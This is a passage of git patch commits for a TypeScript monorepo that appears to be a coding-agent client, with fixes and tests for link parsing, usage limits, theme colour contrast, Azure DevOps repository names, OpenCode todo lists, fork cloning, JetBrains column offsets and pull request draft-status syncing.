6de7da548d15d86e86f7550a9f1b402e924249dd Mon Sep 17 00:00:00 2001 From: maco Date: Thu, 22 Oct 2026 00:12:44 +0200 Subject: [PATCH 076/130] fix(shared): recognize relative folder links with trailing slash (#22188) Co-authored-by: macodev00 --- packages/shared/src/markdownLinks.test.ts | 16 +++++++++++++++- packages/shared/src/markdownLinks.ts | 7 ++++++- 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/packages/shared/src/markdownLinks.test.ts b/packages/shared/src/markdownLinks.test.ts index dafbfce2f941..01d9192e17e5 100644 --- a/packages/shared/src/markdownLinks.test.ts +++ b/packages/shared/src/markdownLinks.test.ts @@ -26,6 +26,8 @@ describe("inlineCodeFilePathCandidate", () => { ["origin/main", null], ["z-ai/glm-5.3", null], ["share/man/ls.1", "share/man/ls.1"], + ["src/main.ts/", null], + ["./patches/", "./patches/"], ])("distinguishes file paths from code and hostnames in %s", (source, candidate) => { expect(inlineCodeFilePathCandidate(source)).toBe(candidate); }); @@ -40,13 +42,18 @@ describe("parseMarkdownFileLink", () => { expect(parseMarkdownFileLink(href)?.path).toBe(path); }); - it.each(["https://example.com/docs", "/chat/settings#L3", "TODO:12"])( + it.each(["https://example.com/docs", "/chat/settings#L3", "TODO:12", "patches"])( "does not treat %s as a file", (href) => { expect(parseMarkdownFileLink(href)).toBeNull(); }, ); + it("recognizes a relative folder that ends in a slash", () => { + expect(parseMarkdownFileLink("patches/")).toEqual({ path: "patches/" }); + expect(parseMarkdownFileLink("docs/My%20Folder/")?.path).toBe("docs/My Folder/"); + }); + it("accepts conventional extensionless names with or without a position", () => { expect(parseMarkdownFileLink("Makefile")).toEqual({ path: "Makefile" }); expect(parseMarkdownFileLink("Dockerfile:8")).toEqual({ path: "Dockerfile", line: 8 }); @@ -89,6 +96,13 @@ describe("extractMarkdownLinkHrefs", () => { }); describe("resolveMarkdownFileLinkTarget", () => { + it("resolves a relative folder with a trailing slash against cwd", () => { + expect(resolveMarkdownFileLinkTarget("patches/", "/repo/project")).toBe( + "/repo/project/patches/", + ); + expect(resolveMarkdownFileLinkTarget("patches", "/repo/project")).toBeNull(); + }); + it("does not treat filename line references as external schemes", () => { expect(resolveMarkdownFileLinkTarget("script.ts:10", "/Users/julius/project")).toBe( "/Users/julius/project/script.ts:10", diff --git a/packages/shared/src/markdownLinks.ts b/packages/shared/src/markdownLinks.ts index 941f26f55c44..6e985ccdb0fe 100644 --- a/packages/shared/src/markdownLinks.ts +++ b/packages/shared/src/markdownLinks.ts @@ -9,8 +9,10 @@ import { const RELATIVE_PATH_PREFIX_PATTERN = /^(~\/|\.{1,2}\/)/; +// The final segment is optional so an explicit folder link may end in `/` +// (`patches/`, `docs/My Folder/`). A bare name with no slash still fails. const RELATIVE_FILE_PATH_PATTERN = - /^(?:[A-Za-z0-9._-]+(?: +[A-Za-z0-9._-]+)*\/)+[A-Za-z0-9._-]+(?: +[A-Za-z0-9._-]+)*(?::\d+){0,2}$/; + /^(?:[A-Za-z0-9._-]+(?: +[A-Za-z0-9._-]+)*\/)+(?:[A-Za-z0-9._-]+(?: +[A-Za-z0-9._-]+)*(?::\d+){0,2})?$/; const RELATIVE_FILE_NAME_PATTERN = /^[A-Za-z0-9._-]+(?: +[A-Za-z0-9._-]+)*\.[A-Za-z0-9_-]+(?::\d+){0,2}$/; @@ -176,6 +178,9 @@ export function inlineCodeFilePathCandidate(codeText: string): string | null { isWindowsAbsolutePath(candidate); if (!hasExplicitPathShape) { const withoutPosition = candidate.replace(POSITION_SUFFIX_PATTERN, ""); + // Markdown destinations accept `patches/`. Inline code still needs a + // file-shaped final segment, so a trailing slash stays plain code. + if (withoutPosition.endsWith("/")) return null; const firstSegment = withoutPosition.split("/")[0] ?? withoutPosition; if (looksLikeHostname(firstSegment, hasPosition)) return null; const basename = From 1a44c40901a8a639d18947fcccf9707b9b9222d8 Mon Sep 17 00:00:00 2001 From: M4NU5 <31220123+M4NU5@users.noreply.github.com> Date: Wed, 21 Oct 2026 23:13:08 +0100 Subject: [PATCH 077/130] fix(client): usage limits skip disabled connections (#22936) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/usage/UsagePage.tsx | 10 ++-- docs/user/usage.md | 2 +- .../src/state/presentation.test.ts | 47 +++++++++++++++++++ .../client-runtime/src/state/presentation.ts | 8 +++- 4 files changed, 60 insertions(+), 7 deletions(-) diff --git a/apps/web/src/components/usage/UsagePage.tsx b/apps/web/src/components/usage/UsagePage.tsx index e0ab70d4511c..4a940a8d3572 100644 --- a/apps/web/src/components/usage/UsagePage.tsx +++ b/apps/web/src/components/usage/UsagePage.tsx @@ -224,7 +224,9 @@ export function UsagePage() { const refreshingUsage = isRefreshing && !showingLimits; const showingKept = shown !== null && shown.window !== window; const presentations = useAtomValue(environmentPresentations.presentationsAtom); - const providersByEnvironment = useAtomValue(environmentPresentations.providersByEnvironmentAtom); + const presentationsWithProviders = useAtomValue( + environmentPresentations.presentationsWithProvidersAtom, + ); const cursorAccessEnvironments = hiddenProviders.has("cursor") ? [] : cursorKeychainAccessEnvironments(selectedEnvironments); @@ -351,10 +353,10 @@ export function UsagePage() { : enumerateHourStarts(shownWindow.sinceTime, shownWindow.untilTime); const showChatGptSharing = !hiddenProviders.has("codex") && - [...providersByEnvironment].some( - ([id, providers]) => + [...presentationsWithProviders].some( + ([id, presentation]) => (selectedEnvironmentIds === null || selectedEnvironmentIds.has(id)) && - providers.some(usesChatGptSharing), + (presentation.serverConfig?.providers ?? []).some(usesChatGptSharing), ); const windowLabel = diff --git a/docs/user/usage.md b/docs/user/usage.md index cab53870bb14..a012e73d94b8 100644 --- a/docs/user/usage.md +++ b/docs/user/usage.md @@ -79,7 +79,7 @@ the dialog. ## Track subscription limits **Usage → Limits** pools every subscription account it can see per provider, so with several Codex -or Claude accounts across your environments and hubs you read one number per window rather than a +or Claude accounts across your enabled environments and hubs you read one number per window rather than a list. Each window card shows how much of the pool is left and a bar with one segment per account, kept in the same column across windows. Accounts are ordered by their next 5-hour refill, soonest first. For an account with no weekly quota left, this is when its session becomes usable again. diff --git a/packages/client-runtime/src/state/presentation.test.ts b/packages/client-runtime/src/state/presentation.test.ts index 0240ee9be05c..3c3fa20a4a97 100644 --- a/packages/client-runtime/src/state/presentation.test.ts +++ b/packages/client-runtime/src/state/presentation.test.ts @@ -3,6 +3,7 @@ import { EnvironmentId, type ServerConfig } from "@t3tools/contracts"; import * as Option from "effect/Option"; import { AsyncResult, Atom, AtomRegistry } from "effect/reactivity"; +import type { ConnectionCatalogEntry } from "../connection/catalog.ts"; import { AVAILABLE_CONNECTION_STATE, PrimaryConnectionTarget } from "../connection/model.ts"; import { createEnvironmentPresentationAtoms, @@ -88,3 +89,49 @@ describe("environment summary subscriptions", () => { } }); }); + +describe("presentations with providers", () => { + it("leaves out disabled connections until they are re-enabled", () => { + const h = harness(); + const atom = h.full.presentationsWithProvidersAtom; + const withSecond = (enabled: boolean): EnvironmentCatalogState => ({ + isReady: true, + entries: new Map([ + [FIRST, entry(FIRST)], + [SECOND, { ...entry(SECOND), enabled }], + ]), + }); + const stop = h.registry.subscribe(atom, () => {}); + try { + h.registry.set(h.configs(SECOND), config(false, "/second")); + h.registry.set(h.catalog, withSecond(false)); + expect([...h.registry.get(atom).keys()]).toEqual([FIRST]); + expect(h.registry.get(h.full.presentationsAtom).has(SECOND)).toBe(true); + h.registry.set(h.catalog, withSecond(true)); + expect([...h.registry.get(atom).keys()]).toEqual([FIRST, SECOND]); + expect(h.registry.get(atom).get(SECOND)?.serverConfig?.cwd).toBe("/second"); + } finally { + stop(); + h.registry.dispose(); + } + }); + + it("leaves out unsupported environments", () => { + const h = harness(); + const atom = h.full.presentationsWithProvidersAtom; + const stop = h.registry.subscribe(atom, () => {}); + try { + h.registry.set(h.catalog, { + isReady: true, + entries: new Map([ + [FIRST, entry(FIRST)], + [SECOND, { ...entry(SECOND), unsupportedReason: "Server is too old." }], + ]), + }); + expect([...h.registry.get(atom).keys()]).toEqual([FIRST]); + } finally { + stop(); + h.registry.dispose(); + } + }); +}); diff --git a/packages/client-runtime/src/state/presentation.ts b/packages/client-runtime/src/state/presentation.ts index 29782aacfa61..48d27974a2c8 100644 --- a/packages/client-runtime/src/state/presentation.ts +++ b/packages/client-runtime/src/state/presentation.ts @@ -152,13 +152,17 @@ export function createEnvironmentPresentationAtoms(input: { return previous !== null && mapsEqual(previous, next) ? previous : next; }).pipe(Atom.withLabel("environment-providers")); - // Usage limits ride on provider statuses, so these surfaces rebuild on every push by design. + // Enabled environments only, like serverConfigsAtom: a disabled connection keeps its cached + // config, and its accounts would otherwise count in usage limits. Usage limits ride on provider + // statuses, so these surfaces rebuild on every push by design. const presentationsWithProvidersAtom = Atom.make((get) => { const previous = Option.getOrNull( get.self>(), ); const next = new Map(); - for (const [environmentId, presentation] of get(presentationsAtom)) { + for (const environmentId of enabledEnvironmentIds(get(input.catalogValueAtom))) { + const presentation = get(presentationAtom(environmentId)); + if (presentation === null) continue; const serverConfig = get(input.serverConfigValueAtom(environmentId)); const prior = previous?.get(environmentId); next.set( From 7845898c871bb0776eb8beda08a7b6907beca090 Mon Sep 17 00:00:00 2001 From: Louis Gollut Date: Thu, 22 Oct 2026 00:13:31 +0200 Subject: [PATCH 078/130] fix(web): imported VS Code themes keep destructive buttons red (#21924) --- apps/web/src/themePalette.ts | 19 ++++++++++ apps/web/src/vscodeThemeImport.test.ts | 51 +++++++++++++++++++++++++- apps/web/src/vscodeThemeImport.ts | 14 ++++++- 3 files changed, 81 insertions(+), 3 deletions(-) diff --git a/apps/web/src/themePalette.ts b/apps/web/src/themePalette.ts index 3e9582ce22a1..5995f6aef1d6 100644 --- a/apps/web/src/themePalette.ts +++ b/apps/web/src/themePalette.ts @@ -558,6 +558,25 @@ function solveOklchLightness( return { ...base, L: direction === "lighter" ? high : low }; } +/** + * Moves only the lightness, so a color that is too dim on `surface` keeps its + * hue instead of collapsing to black or white. + */ +export function readableThemeColorOn(color: string, surface: string, minContrast: number): string { + const parsedColor = parseThemeColor(color); + const parsedSurface = parseThemeColor(surface); + if (!parsedColor || !parsedSurface) return color; + const surfaceRgb = themeOklchToRgb(parsedSurface.color); + if (themeContrastRatio(themeOklchToRgb(parsedColor.color), surfaceRgb) >= minContrast) { + return color; + } + const direction = themeRelativeLuminance(surfaceRgb) < 0.179 ? "lighter" : "darker"; + const solved = solveOklchLightness(parsedColor.color, surfaceRgb, minContrast, direction); + // Return the 8-bit color the solver measured: the unrounded OKLCH can round + // to a neighbor just under the target once it is stored and read back. + return themeRgbToHexColor(themeOklchToRgb(solved)); +} + const STANDARD_STATUS_COLORS = { light: { error: "#fb2c36", diff --git a/apps/web/src/vscodeThemeImport.test.ts b/apps/web/src/vscodeThemeImport.test.ts index bb51a3e9edbb..e4774c5f2b33 100644 --- a/apps/web/src/vscodeThemeImport.test.ts +++ b/apps/web/src/vscodeThemeImport.test.ts @@ -1,6 +1,11 @@ import { describe, expect, it } from "vite-plus/test"; -import { getThemeColorsForMode, themeColorToHex, THEME_FILE_VERSION } from "./themePalette"; +import { + getThemeColorsForMode, + themeColorToHex, + THEME_FILE_VERSION, + toCanonicalThemeColor, +} from "./themePalette"; import { isVsCodeThemeFile, pairVsCodeThemes, @@ -30,6 +35,11 @@ function contrastRatio(first: string, second: string): number { return (lighter + 0.05) / (darker + 0.05); } +function oklchParts(value: string): { chroma: number; hue: number } { + const [, chroma, hue] = /^oklch\(\S+ (\S+) (\S+)\)$/.exec(value)!; + return { chroma: Number(chroma), hue: Number(hue) }; +} + const VSCODE_DARK = { name: "pierre-dark-soft", type: "dark", @@ -293,6 +303,45 @@ describe("VS Code theme import", () => { expect(hc.appearance).toBe("light"); }); + it.each([ + ["dark", "#282828"], + ["light", "#ffffff"], + ] as const)( + "keeps a dim status color's hue on a %s canvas instead of replacing it", + (type, canvas) => { + const theme = parseVsCodeThemeFile({ + name: "Gruvbox", + type, + colors: { + "editor.background": canvas, + "editorError.foreground": "#fb4934", + "editorWarning.foreground": "#b57614", + }, + }); + for (const [role, source] of [ + ["error", "#fb4934"], + ["warning", "#b57614"], + ] as const) { + const imported = oklchParts(theme.colors[role]); + expect(contrastRatio(theme.colors[role], theme.colors.canvas)).toBeGreaterThanOrEqual(4.5); + expect(imported.chroma).toBeGreaterThan(0.1); + // 8-bit sRGB can only approximate the source hue at the new lightness. + expect( + Math.abs(imported.hue - oklchParts(toCanonicalThemeColor(source)!).hue), + ).toBeLessThan(2); + } + }, + ); + + it("keeps the derived status color when the file hides its own", () => { + const theme = parseVsCodeThemeFile({ + name: "Hidden squiggles", + type: "dark", + colors: { "editor.background": "#101010", "editorError.foreground": "#ff000000" }, + }); + expect(oklchParts(theme.colors.error).chroma).toBeGreaterThan(0.1); + }); + it("stays readable when the file replaces a surface but not its foreground", () => { const theme = parseVsCodeThemeFile({ name: "Split", diff --git a/apps/web/src/vscodeThemeImport.ts b/apps/web/src/vscodeThemeImport.ts index f654679a5ad5..7ef3d77835ef 100644 --- a/apps/web/src/vscodeThemeImport.ts +++ b/apps/web/src/vscodeThemeImport.ts @@ -4,6 +4,7 @@ import { getThemeModes, isReservedThemeId, parseThemeFile, + readableThemeColorOn, themeColorToHex, themeIdFromName, THEME_FILE_VERSION, @@ -251,6 +252,15 @@ export function parseVsCodeThemeFile(value: unknown): ThemeDefinition { if (isReadable(fallback)) return fallback; return relativeLuminance(surfaceRgb) < 0.179 ? "#ffffff" : "#000000"; }; + // Status colors also fill controls such as destructive buttons, which carry + // white text, so a dim one is lightened along its hue rather than replaced + // by readableOn's black or white. One hidden in the canvas has no hue to + // keep, so the derived color stands in. + const readableStatusColor = (fallback: string, ...keys: ReadonlyArray): string => { + const specified = solidOver(canvas, ...keys); + const base = specified && standsApart(specified, canvasHex) ? specified : fallback; + return readableThemeColorOn(base, canvasHex, 4.5); + }; const surfaceRaisedHex = raisedSurfaceCandidateHex ?? derived.surfaceRaised; // The checked switch track maps to messageAction, so resolve it before @@ -302,8 +312,8 @@ export function parseVsCodeThemeFile(value: unknown): ThemeDefinition { solidOver(canvas, "panel.border", "editorGroup.border", "contrastBorder") ?? derived.border, input: inputHex, placeholder: readableOn(surfaceRaisedHex, derived.placeholder, "input.placeholderForeground"), - error: readableOn(canvasHex, derived.error, "editorError.foreground", "errorForeground"), - warning: readableOn(canvasHex, derived.warning, "editorWarning.foreground"), + error: readableStatusColor(derived.error, "editorError.foreground", "errorForeground"), + warning: readableStatusColor(derived.warning, "editorWarning.foreground"), accentSurface: solidOver(canvas, "list.activeSelectionBackground", "list.hoverBackground") ?? derived.accentSurface, From 855db968a7517914019d77e3c364fe2002f345d9 Mon Sep 17 00:00:00 2001 From: Pavel Kroupa <63880977+Tabonx@users.noreply.github.com> Date: Thu, 22 Oct 2026 00:14:14 +0200 Subject: [PATCH 079/130] fix(shared): Azure DevOps repositories with a space in the name list their pull requests (#22782) --- packages/shared/src/sourceControl.test.ts | 11 +++++++++++ packages/shared/src/sourceControl.ts | 15 +++++++++++++-- 2 files changed, 24 insertions(+), 2 deletions(-) diff --git a/packages/shared/src/sourceControl.test.ts b/packages/shared/src/sourceControl.test.ts index cb45f8c39fb9..23d0c8b4ba81 100644 --- a/packages/shared/src/sourceControl.test.ts +++ b/packages/shared/src/sourceControl.test.ts @@ -149,6 +149,17 @@ it("names an Azure DevOps repository by its own name, not its project path", () expect(selector).toBe("checkout"); }); +it("decodes an Azure DevOps repository name that the remote URL percent-encodes", () => { + // A remote spells a space as `%20`, and `az repos pr list --repository` reads that literally. + const selector = sourceControlRepositorySelector({ + provider: "azure-devops", + displayName: "contoso/payments%20(eu)/_git/checkout%20(eu)", + owner: "contoso", + name: "checkout%20(eu)", + }); + expect(selector).toBe("checkout (eu)"); +}); + it("keeps a GitLab identity's whole path, because a nested group is part of the name", () => { const selector = sourceControlRepositorySelector({ provider: "gitlab", diff --git a/packages/shared/src/sourceControl.ts b/packages/shared/src/sourceControl.ts index a56d10eb896d..5729d2015014 100644 --- a/packages/shared/src/sourceControl.ts +++ b/packages/shared/src/sourceControl.ts @@ -278,11 +278,21 @@ export function detectSourceControlProviderFromRemoteUrl( }; } +function decodeUrlPathSegment(segment: string): string { + try { + return decodeURIComponent(segment); + } catch { + return segment; + } +} + /** * Azure DevOps is the exception: `az repos pr list --repository` takes a repository name, and * takes the organisation and project from the checkout it detects — so the recorded * `org/project/_git/repo` path is refused outright and the whole repository reads as - * unavailable. Its name is the last segment, which is what this hands over. + * unavailable. Its name is the last segment, which is what this hands over. The segment comes + * from the remote URL, where a name with a space reads `my%20repo`; `az` looks that up literally + * and answers 404, so it goes out decoded. */ export function sourceControlRepositorySelector( identity: @@ -293,7 +303,8 @@ export function sourceControlRepositorySelector( if (!identity) return null; if (identity.provider === "azure-devops") { const segments = (identity.displayName ?? "").split("/").filter((part) => part !== "_git"); - return identity.name || segments.at(-1) || null; + const name = identity.name || segments.at(-1); + return name ? decodeUrlPathSegment(name) : null; } if (identity.displayName) return identity.displayName; return identity.owner && identity.name ? `${identity.owner}/${identity.name}` : null; From 2333f168845f853f9ef358d1c4e6cf75189f4e8b Mon Sep 17 00:00:00 2001 From: MarcoDotIO Date: Wed, 21 Oct 2026 18:14:41 -0400 Subject: [PATCH 080/130] fix(opencode): cancelled todos no longer keep the todo list running (#22938) Co-authored-by: Claude Opus 5.5 --- .../src/server/adapter.test.ts | 56 +++++++++++++++++++ .../provider-opencode/src/server/adapter.ts | 30 ++++++---- 2 files changed, 75 insertions(+), 11 deletions(-) diff --git a/packages/provider-opencode/src/server/adapter.test.ts b/packages/provider-opencode/src/server/adapter.test.ts index 92d72ef0b358..fef2c2ca1f96 100644 --- a/packages/provider-opencode/src/server/adapter.test.ts +++ b/packages/provider-opencode/src/server/adapter.test.ts @@ -840,6 +840,62 @@ describe("OpenCodeAdapterV2", () => { ), ); + it.effect("drops cancelled OpenCode todos so a finished list completes", () => + Effect.gen(function* () { + const nativeEvents = asyncEventStream(); + const nativeSessionId = "native-opencode-todos"; + const harness = yield* makeOpenCodeRuntimeHarness("todos", nativeSessionId, { + event: { + subscribe: async (_input: unknown, options: { signal?: AbortSignal }) => { + options.signal?.addEventListener("abort", () => nativeEvents.close(), { once: true }); + return { stream: nativeEvents.stream }; + }, + }, + mcp: { status: async () => ({ data: {} }) }, + session: { + create: async () => ({ + data: { id: nativeSessionId, time: { created: 1, updated: 1 } }, + }), + promptAsync: async () => ({ data: true }), + }, + }); + yield* harness.startTurn(); + const received = yield* harness.runtime.events.pipe( + Stream.takeUntil((event) => event.type === "plan.updated"), + Stream.runCollect, + Effect.forkScoped, + ); + yield* Effect.promise(() => + nativeEvents.push({ + type: "todo.updated", + properties: { + sessionID: nativeSessionId, + todos: [ + { content: "Write the fix", status: "completed", priority: "high" }, + { content: "Try another approach", status: "cancelled", priority: "low" }, + { content: "Add a test", status: "completed", priority: "medium" }, + ], + }, + }), + ); + const plan = (yield* Fiber.join(received)).flatMap((event) => + event.type === "plan.updated" ? [event.plan] : [], + )[0]; + assert.ok(plan?.kind === "todo_list"); + assert.deepEqual( + plan.steps.map((step) => ({ text: step.text, status: step.status })), + [ + { text: "Write the fix", status: "completed" }, + { text: "Add a test", status: "completed" }, + ], + ); + assert.equal(plan.status, "completed"); + }).pipe( + Effect.provide(Layer.merge(IdAllocator.layer, McpProviderSessions.layer)), + Effect.scoped, + ), + ); + it.effect("presents OpenCode MCP calls without treating remote tools as local edits", () => Effect.gen(function* () { const output = diff --git a/packages/provider-opencode/src/server/adapter.ts b/packages/provider-opencode/src/server/adapter.ts index d8f763f44035..9a6a6e265b20 100644 --- a/packages/provider-opencode/src/server/adapter.ts +++ b/packages/provider-opencode/src/server/adapter.ts @@ -1665,17 +1665,25 @@ export const makeOpenCodeAdapterV2 = Effect.fn("makeOpenCodeAdapterV2")(function driver: OPENCODE_PROVIDER, nativeItemId, }); - const steps: Array = todos.map((todo, index) => ({ - id: `${nativeItemId}:${index + 1}`, - text: todo.content.trim() || `Todo ${index + 1}`, - status: - todo.status === "completed" - ? "completed" - : todo.status === "in_progress" - ? "running" - : "pending", - })); - const completed = steps.length > 0 && steps.every((step) => step.status === "completed"); + // A cancelled todo is not outstanding work, and plan steps have no + // cancelled status, so drop it rather than show it as pending. + const steps: Array = todos.flatMap((todo, index) => + todo.status === "cancelled" + ? [] + : [ + { + id: `${nativeItemId}:${index + 1}`, + text: todo.content.trim() || `Todo ${index + 1}`, + status: + todo.status === "completed" + ? "completed" + : todo.status === "in_progress" + ? "running" + : "pending", + }, + ], + ); + const completed = todos.length > 0 && steps.every((step) => step.status === "completed"); yield* emitProviderEvent({ type: "node.updated", driver: OPENCODE_PROVIDER, From 0f74ff8e3a4189331fa762ff5d5da0626ecc5a61 Mon Sep 17 00:00:00 2001 From: AKolenda Date: Wed, 21 Oct 2026 16:16:22 -0600 Subject: [PATCH 081/130] fix(web): copy to machine clones the fork, not its upstream (#22492) --- apps/server/src/project/RepositoryIdentityResolver.test.ts | 1 + apps/server/src/project/RepositoryIdentityResolver.ts | 2 +- apps/web/src/components/AddProjectToMachineDialog.tsx | 5 ++++- packages/contracts/src/environment.ts | 1 + 4 files changed, 7 insertions(+), 2 deletions(-) diff --git a/apps/server/src/project/RepositoryIdentityResolver.test.ts b/apps/server/src/project/RepositoryIdentityResolver.test.ts index 2fce68ed27b9..6fc57297a40e 100644 --- a/apps/server/src/project/RepositoryIdentityResolver.test.ts +++ b/apps/server/src/project/RepositoryIdentityResolver.test.ts @@ -261,6 +261,7 @@ it.layer(NodeServices.layer)("RepositoryIdentityResolverLive", (it) => { expect(identity?.displayName).toBe("T3Tools/t3code"); expect(identity?.origin).toEqual({ canonicalKey: "github.com/julius/t3code-fork", + remoteUrl: "git@github.com:julius/t3code-fork.git", displayName: "julius/t3code-fork", }); }).pipe(Effect.provide(RepositoryIdentityResolver.layer)), diff --git a/apps/server/src/project/RepositoryIdentityResolver.ts b/apps/server/src/project/RepositoryIdentityResolver.ts index e3f3674c11e6..0ec948b485fc 100644 --- a/apps/server/src/project/RepositoryIdentityResolver.ts +++ b/apps/server/src/project/RepositoryIdentityResolver.ts @@ -105,7 +105,7 @@ function buildRepositoryOrigin( const originKey = normalizeGitRemoteUrl(originUrl); if (originKey === canonicalKey) return undefined; const displayName = repositoryPathOf(originKey, originUrl); - return { canonicalKey: originKey, ...(displayName ? { displayName } : {}) }; + return { canonicalKey: originKey, remoteUrl: originUrl, ...(displayName ? { displayName } : {}) }; } function buildRepositoryIdentity(input: { diff --git a/apps/web/src/components/AddProjectToMachineDialog.tsx b/apps/web/src/components/AddProjectToMachineDialog.tsx index 7d1748f9d0c4..1d917de35104 100644 --- a/apps/web/src/components/AddProjectToMachineDialog.tsx +++ b/apps/web/src/components/AddProjectToMachineDialog.tsx @@ -82,7 +82,10 @@ function AddProjectToMachineDialog({ request }: { request: AddProjectToMachineRe const [targetId, setTargetId] = useState(request.targetEnvironmentId); const target = targets.find((t) => t.environmentId === targetId) ?? targets[0] ?? null; const source = environments.find((env) => env.environmentId === request.projectRef.environmentId); - const sourceUrl = project?.repositoryIdentity?.locator.remoteUrl ?? ""; + const sourceUrl = + project?.repositoryIdentity?.origin?.remoteUrl ?? + project?.repositoryIdentity?.locator.remoteUrl ?? + ""; const [protocol, setProtocol] = useState(() => cloneUrlProtocol(sourceUrl)); const sshUrl = cloneUrlForProtocol(sourceUrl, "ssh"); const httpsUrl = cloneUrlForProtocol(sourceUrl, "https"); diff --git a/packages/contracts/src/environment.ts b/packages/contracts/src/environment.ts index 4272c9d12d94..18d09c304a83 100644 --- a/packages/contracts/src/environment.ts +++ b/packages/contracts/src/environment.ts @@ -174,6 +174,7 @@ export type RepositoryIdentityLocator = typeof RepositoryIdentityLocator.Type; export const RepositoryOrigin = Schema.Struct({ canonicalKey: TrimmedNonEmptyString, + remoteUrl: Schema.optionalKey(TrimmedNonEmptyString), displayName: Schema.optionalKey(TrimmedNonEmptyString), }); export type RepositoryOrigin = typeof RepositoryOrigin.Type; From 1befc717f0b277c86a066e46598e60465e7f23c2 Mon Sep 17 00:00:00 2001 From: Lev Poznyakov <62802017+levochkaa@users.noreply.github.com> Date: Thu, 22 Oct 2026 06:17:37 +0800 Subject: [PATCH 082/130] fix(server): JetBrains IDEs open file links at the right column (#22826) Co-authored-by: Claude Opus 5.5 --- apps/server/src/process/externalLauncher.test.ts | 10 +++++----- apps/server/src/process/externalLauncher.ts | 3 ++- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/apps/server/src/process/externalLauncher.test.ts b/apps/server/src/process/externalLauncher.test.ts index 787a729f86b4..73ff1b067e87 100644 --- a/apps/server/src/process/externalLauncher.test.ts +++ b/apps/server/src/process/externalLauncher.test.ts @@ -340,7 +340,7 @@ for (const {} of [ platform: "darwin", installPath: "Applications/WebStorm.app/Contents/MacOS/webstorm", editor: "webstorm", - args: ["--line", "12", "--column", "4", "/workspace with spaces/file.ts"], + args: ["--line", "12", "--column", "3", "/workspace with spaces/file.ts"], }, { platform: "darwin", @@ -364,13 +364,13 @@ for (const {} of [ platform: "win32", installPath: "Programs/JetBrains/WebStorm 2026.2/bin/webstorm64.exe", editor: "webstorm", - args: ["--line", "12", "--column", "4", "/workspace with spaces/file.ts"], + args: ["--line", "12", "--column", "3", "/workspace with spaces/file.ts"], }, { platform: "win32", installPath: "Programs/WebStorm/bin/webstorm64.exe", editor: "webstorm", - args: ["--line", "12", "--column", "4", "/workspace with spaces/file.ts"], + args: ["--line", "12", "--column", "3", "/workspace with spaces/file.ts"], }, { platform: "win32", @@ -382,7 +382,7 @@ for (const {} of [ platform: "linux", installPath: ".local/share/JetBrains/Toolbox/scripts/idea", editor: "idea", - args: ["--line", "12", "--column", "4", "/workspace with spaces/file.ts"], + args: ["--line", "12", "--column", "3", "/workspace with spaces/file.ts"], }, { platform: "linux", @@ -472,7 +472,7 @@ it.effect.each([ "--line", "12", "--column", - "4", + "3", "/workspace with spaces/file.ts", ]); }).pipe(Effect.scoped, Effect.provide(NodeServices.layer)), diff --git a/apps/server/src/process/externalLauncher.ts b/apps/server/src/process/externalLauncher.ts index 2c24857555bb..1260f2e3fda8 100644 --- a/apps/server/src/process/externalLauncher.ts +++ b/apps/server/src/process/externalLauncher.ts @@ -163,9 +163,10 @@ function resolveCommandEditorArgs( onSome: ({ path, line, column }) => [ "--line", line, + // JetBrains IDEs count `--column` from 0; targets count columns from 1. ...Option.match(column, { onNone: () => [], - onSome: (value) => ["--column", value], + onSome: (value) => ["--column", String(Math.max(0, Number(value) - 1))], }), path, ], From 70e5e384dab96a1d1e4a253ee5a9415ed5d8ce30 Mon Sep 17 00:00:00 2001 From: Yash Singh Date: Wed, 21 Oct 2026 17:23:51 -0500 Subject: [PATCH 083/130] fix(server): sync pull request draft status changes (#22832) --- apps/server/src/git/GitManager.test.ts | 57 +++++++++ apps/server/src/git/GitManager.ts | 14 ++- .../PullRequestSyncReactor.test.ts | 37 ++++++ .../pullRequest/PullRequestService.test.ts | 68 ++++++++++ .../src/pullRequest/PullRequestService.ts | 29 ++++- .../src/state/pullRequestRouting.ts | 19 +-- .../src/state/pullRequests.test.ts | 119 +++++++++--------- packages/contracts/src/pullRequest.ts | 1 + 8 files changed, 268 insertions(+), 76 deletions(-) diff --git a/apps/server/src/git/GitManager.test.ts b/apps/server/src/git/GitManager.test.ts index bd2781682a15..660e2de9cbd8 100644 --- a/apps/server/src/git/GitManager.test.ts +++ b/apps/server/src/git/GitManager.test.ts @@ -17,6 +17,7 @@ import * as PlatformError from "effect/PlatformError"; import * as Result from "effect/Result"; import * as Schema from "effect/Schema"; import * as Scope from "effect/Scope"; +import * as Stream from "effect/Stream"; import { ChildProcessSpawner } from "effect/process"; import { expect } from "vite-plus/test"; import type { @@ -1076,6 +1077,62 @@ it.layer(layerGitManagerTest)("GitManager", (it) => { }), ); + it.effect("branch PR lookup notifies linked threads when draft status changes", () => + Effect.gen(function* () { + const repoDir = yield* makeTempDir("t3code-git-manager-"); + yield* initRepo(repoDir); + yield* runGit(repoDir, ["checkout", "-b", "feature/draft-status"]); + const remoteDir = yield* createBareRemote(); + yield* runGit(repoDir, ["remote", "add", "origin", remoteDir]); + yield* runGit(repoDir, ["push", "-u", "origin", "feature/draft-status"]); + const drafts = [false, true, true, false, false, true]; + const pullRequest = { + number: 1, + title: "Draft status", + url: "https://github.com/pingdotgg/codething-mvp/pull/1", + baseRefName: "main", + headRefName: "feature/draft-status", + state: "OPEN", + }; + const { manager } = yield* makeManager({ + ghScenario: { + prListSequence: [ + ...drafts.map((isDraft) => encodeCliJson([{ ...pullRequest, isDraft }])), + encodeCliJson([ + { + ...pullRequest, + number: 2, + url: "https://github.com/pingdotgg/codething-mvp/pull/2", + state: "MERGED", + }, + ]), + ], + }, + }); + const changes = yield* manager.subscribePullRequestStateChanges; + for (const isDraft of drafts) { + const pr = yield* manager.branchPullRequest( + { cwd: repoDir, branch: "feature/draft-status" }, + { refresh: true }, + ); + expect(pr?.isDraft === true).toBe(isDraft); + } + // A different PR ends collection without waiting on a background stream consumer. + yield* manager.branchPullRequest( + { cwd: repoDir, branch: "feature/draft-status" }, + { refresh: true }, + ); + const events = yield* Stream.runCollect( + changes.pipe(Stream.takeUntil((event) => event.number === 2, { excludeLast: true })), + ); + expect(events).toEqual([ + { host: "github.com", repository: "pingdotgg/codething-mvp", number: 1 }, + { host: "github.com", repository: "pingdotgg/codething-mvp", number: 1 }, + { host: "github.com", repository: "pingdotgg/codething-mvp", number: 1 }, + ]); + }), + ); + it.effect("branch PR lookup uses a saved tracked branch without changing checkout", () => Effect.gen(function* () { const repoDir = yield* makeTempDir("t3code-git-manager-"); diff --git 